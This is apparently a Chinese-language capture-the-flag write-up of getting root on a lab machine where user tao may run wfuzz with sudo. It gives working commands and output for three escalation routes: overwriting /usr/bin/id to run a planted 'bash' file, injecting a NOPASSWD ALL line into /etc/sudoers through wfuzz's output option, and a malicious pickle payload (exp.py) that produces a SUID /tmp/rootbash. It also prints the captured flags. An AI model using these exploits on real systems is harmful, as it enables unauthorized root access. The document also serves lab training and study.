00001:  C=404      9 L    31 W    271 Ch   "q6I42RCMyMkDV45svyuF"
```

```

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ mkdir Requests
tao@111:~$ ls
Requests  user.txt
tao@111:~$ cd Requests/
tao@111:~/Requests$ echo bash > 'sec.: '
tao@111:~/Requests$ ls
sec.:
tao@111:~/Requests$ chmod +x *
tao@111:~/Requests$ ls -la
total 12
drwxr-xr-x 2 tao tao 4096 Jan  8 22:31 .
drwxr-xr-x 4 tao tao 4096 Jan  8 22:30 ..
-rwxr-xr-x 1 tao tao   5 Jan  8 22:31 sec.:
tao@111:~/Requests$ cd ../
tao@111:~$ sudo id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id:
=====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id:
=====: not found
/usr/bin/id: 6: /usr/bin/id: 00001:: not found
/usr/bin/id: 8: /usr/bin/id: Total: not found
/usr/bin/id: 9: /usr/bin/id: Processed: not found
/usr/bin/id: 10: /usr/bin/id: Filtered: not found
root@111:/home/tao# cat /root/r*
flag{root-9bbd7af2a042a901b92dc203b3896621}
root@111:/home/tao#

```

```

tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f /usr/bin/id http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID          Response  Lines  Word    Chars  Payload
=====
000000001:  404          9 L     31 W     271 Ch  "q6I42RCHyMkDV45svyUf"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ cat /usr/bin/id
Target: http://localhost/FUZZ
Total requests: 1

=====
ID  Response  Lines  Word    Chars  Request
=====
00001:  C=404      9 L     31 W     271 Ch  "q6I42RCHyMkDV45svyUf"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ cd /tmp/
tao@111:/tmp$ ls
systemd-private-f65054490a3e47deb88a852b2ac0d010-apache2.service-KNfIff
systemd-private-f65054490a3e47deb88a852b2ac0d010-systemd-logind.service-Ev3JTh
systemd-private-f65054490a3e47deb88a852b2ac0d010-systemd-timesyncd.service-qosSIf
tao@111:/tmp$ cd~
-bash: cd~: command not found
tao@111:/tmp$ cd ~
tao@111:~$ ls
user.txt
tao@111:~$ mkdir Requests
tao@111:~$ ls
Requests  user.txt
tao@111:~$ cd Requests/
tao@111:~/Requests$ echo bash > 'sec.: '
tao@111:~/Requests$ ls
sec.:
tao@111:~/Requests$ chmod +x *
tao@111:~/Requests$ ls -la
total 12
drwxr-xr-x 2 tao tao 4096 Jan  8 22:31 .
drwxr-xr-x 4 tao tao 4096 Jan  8 22:30 ..
-rwxr-xr-x 1 tao tao  5 Jan  8 22:31 sec.:
tao@111:~/Requests$ cd ../
tao@111:~$ sudo if

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for tao:
sudo: a password is required
tao@111:~$ sudo id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: =====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: =====: not found
/usr/bin/id: 6: /usr/bin/id: 00001:: not found
/usr/bin/id: 8: /usr/bin/id: Total: not found
/usr/bin/id: 9: /usr/bin/id: Processed: not found
/usr/bin/id: 10: /usr/bin/id: Filtered: not found
root@111:/home/tao# cat /root/r*
flag{root-9bbd7af2a042a901b92dc203b3896621}
root@111:/home/tao#

```

关键

```

mkdir Requests          # 创建 Requests 目录
echo bash > 'Requests/sec.: ' # 创建文件, 内容是 bash
chmod +x Requests/sec.:  # 添加执行权限

```

执行流程:

sudo /usr/bin/id (在 /home/tao 目录执行)

↓

execve 返回 ENOEXEC (非 ELF 文件)

↓

/bin/sh /usr/bin/id

↓

逐行解析...

↓

解析到 "Requests/sec.: 0"

↓

Shell 查找 Requests/sec.:

↓

找到 ./Requests/sec.: (相对路径)

↓

执行 ./Requests/sec.:

↓

文件内容是 "bash"

↓

启动 root 权限的 bash!

1. 写入 sudoers

```
sudo /usr/bin/wfuzz -z list,'123' -f /etc/sudoers,raw '$FUZZ;\ntao\tALL=(ALL)\tNOPASSWD:\tALL\n123'
```

2. 验证权限

```
sudo -l
```

输出: (ALL) NOPASSWD: ALL

3. 获取 root shell

```
sudo bash
```

利用 /etc/sudoers

/etc/sudoers 文件是 Linux 系统中用于配置 sudo 命令的文件。

1. 写入 sudoers

```
sudo /usr/bin/wfuzz -z list,'123' -f /etc/sudoers,raw '$FUZZ;\ntao\tALL=(ALL)\tNOPASSWD:\tALL\n123'
```

2. 验证权限

```
sudo -l
```

```
# 3. 获取 root shell
```

```
sudo bash
```

```
tao@111:~$ sudo /usr/bin/wfuzz -z list, '123' -f /etc/sudoers,raw '$FUZZ;\ntao\tALL=(ALL)\tNOPASSWD:\tALL\n123'
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: FUZZ;
tao ALL=(ALL) NOPASSWD: ALL
123
Total requests: 1

=====
ID          Response  Lines  Word    Chars    Payload
=====

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 3:
tao@111:~$ sudo -l
/etc/sudoers:1:7: syntax error
Target: FUZZ;
^
/etc/sudoers:3:4: syntax error
123
^
/etc/sudoers:4:15: syntax error
Total requests: 1
^
/etc/sudoers:5:1: syntax error
=====
^
/etc/sudoers:6:18: syntax error
ID Response Lines Word Chars Request
^~~~~~
/etc/sudoers:7:1: syntax error
=====
^
/etc/sudoers:9:11: syntax error
Total time: 0
^
/etc/sudoers:10:19: syntax error
Processed Requests: 0
^
/etc/sudoers:11:18: syntax error
Filtered Requests: 0
^
/etc/sudoers:12:14: syntax error
Requests/sec.: 0
^
User tao may run the following commands on 111:
(ALL) NOPASSWD: ALL
tao@111:~$ sudo bash
/etc/sudoers:1:7: syntax error
Target: FUZZ;
^
/etc/sudoers:3:4: syntax error
123
^
/etc/sudoers:4:15: syntax error
Total requests: 1
^
/etc/sudoers:5:1: syntax error
=====
^
/etc/sudoers:6:18: syntax error
ID Response Lines Word Chars Request
^~~~~~
/etc/sudoers:7:1: syntax error
=====
^
/etc/sudoers:9:11: syntax error
Total time: 0
^
/etc/sudoers:10:19: syntax error
Processed Requests: 0
^
/etc/sudoers:11:18: syntax error
Filtered Requests: 0
^
/etc/sudoers:12:14: syntax error
Requests/sec.: 0
^
root@111:/home/tao#
```

写入 /etc/sudoers 的内容

```
123;  
tao ALL=(ALL) NOPASSWD: ALL  
123
```

```
root@111:/home/tao# cat /etc/sudoers  
Target: FUZZ;  
tao ALL=(ALL) NOPASSWD: ALL  
123  
Total requests: 1  
=====
```

ID	Response	Lines	Word	Chars	Request
=====					

```
Total time: 0  
Processed Requests: 0  
Filtered Requests: 0  
Requests/sec.: 0  
root@111:/home/tao#
```

Pickle 反序列化提权

查看 wfuzzp 帮助

```
sudo /usr/bin/wfuzz -z help --slice wfuzzp
```

关键信息：

```
Description:  
  This payload uses pickle.  
  Warning: The pickle module is not intended to be secure against  
  erroneous or maliciously constructed data.  
  Never unpickle data received from an untrusted or  
  unauthenticated source.
```

pickle 模块明确警告不安全！

ickle 反序列化漏洞

Python 的 pickle 模块在反序列化时会执行 `__reduce__` 方法返回的函数。攻击者可以构造恶意 pickle 文件，在被加载时执行任意命令。

恶意类构造

```
class RCE:
    def __reduce__(self):
        cmd = 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
        return (os.system, (cmd,))
```

当 pickle 反序列化这个对象时：

1. 调用 `__reduce__` 方法
2. 返回 `(os.system, (cmd,))`
3. pickle 执行 `os.system(cmd)`
4. 命令以 root 权限执行！

exp:

```
import pickle
import gzip
import os

class RCE:
    def __reduce__(self):
        cmd = 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
        return (os.system, (cmd,))

# wfuzz 使用 gzip 压缩的 pickle 文件
with gzip.open('evil.wfuzz', 'wb') as f:
    pickle.dump(RCE(), f)

print("[+] Created evil.wfuzz")
```

执行

```
tao@111:~$ vim exp.py
tao@111:~$ python3 pickle_exploit.py
python3: can't open file '/home/tao/pickle_exploit.py': [Errno 2] No such file
or directory
tao@111:~$ python3 exp.py
[+] Created evil.wfuzz
tao@111:~$ ls
1 evil.wfuzz exp.py Requests user.txt
tao@111:~$ sudo /usr/bin/wfuzz -z wfuzzp,evil.wfuzz http://127.0.0.1/FUZZ
```

```
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
```

```
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****
```

Target: http://127.0.0.1/FUZZ

Total requests: <<unknown>>

```
=====
ID          Response   Lines   Word      Chars      Payload
=====
```

Total time: 0

Processed Requests: 0

Filtered Requests: 0

Requests/sec.: 0

tao@111:~\$ ls -la /tmp/rootbash

-rwsr-xr-x 1 root root 1168776 Jan 8 23:13 /tmp/rootbash

tao@111:~\$ /tmp/rootbash -p

rootbash-5.0# whoami

root

rootbash-5.0# id

```
tao@111:~$ /tmp/rootbash -p
rootbash-5.0# id
/usr/bin/id: line 1: Target:: command not found
/usr/bin/id: line 2: Total: command not found
/usr/bin/id: line 3: =====: command not found
/usr/bin/id: line 4: ID: command not found
/usr/bin/id: line 5: =====: command not found
/usr/bin/id: line 6: 00001:: command not found
/usr/bin/id: line 8: 00002:: command not found
/usr/bin/id: line 10: Total: command not found
/usr/bin/id: line 11: Processed: command not found
/usr/bin/id: line 12: Filtered: command not found
tao@111:~$ /tmp/rootbash -p
rootbash-5.0# whoami
root
rootbash-5.0# ls
1 evil.wfuzz exp.py Requests user.txt
rootbash-5.0# cat /root/r*
flag{root-9bbd7af2a042a901b92dc203b3896621}
rootbash-5.0#
```

flag:

flag{user-21747e1ca09bfcc4f2551263db0f3dff}

flag{root-9bbd7af2a042a901b92dc203b3896621}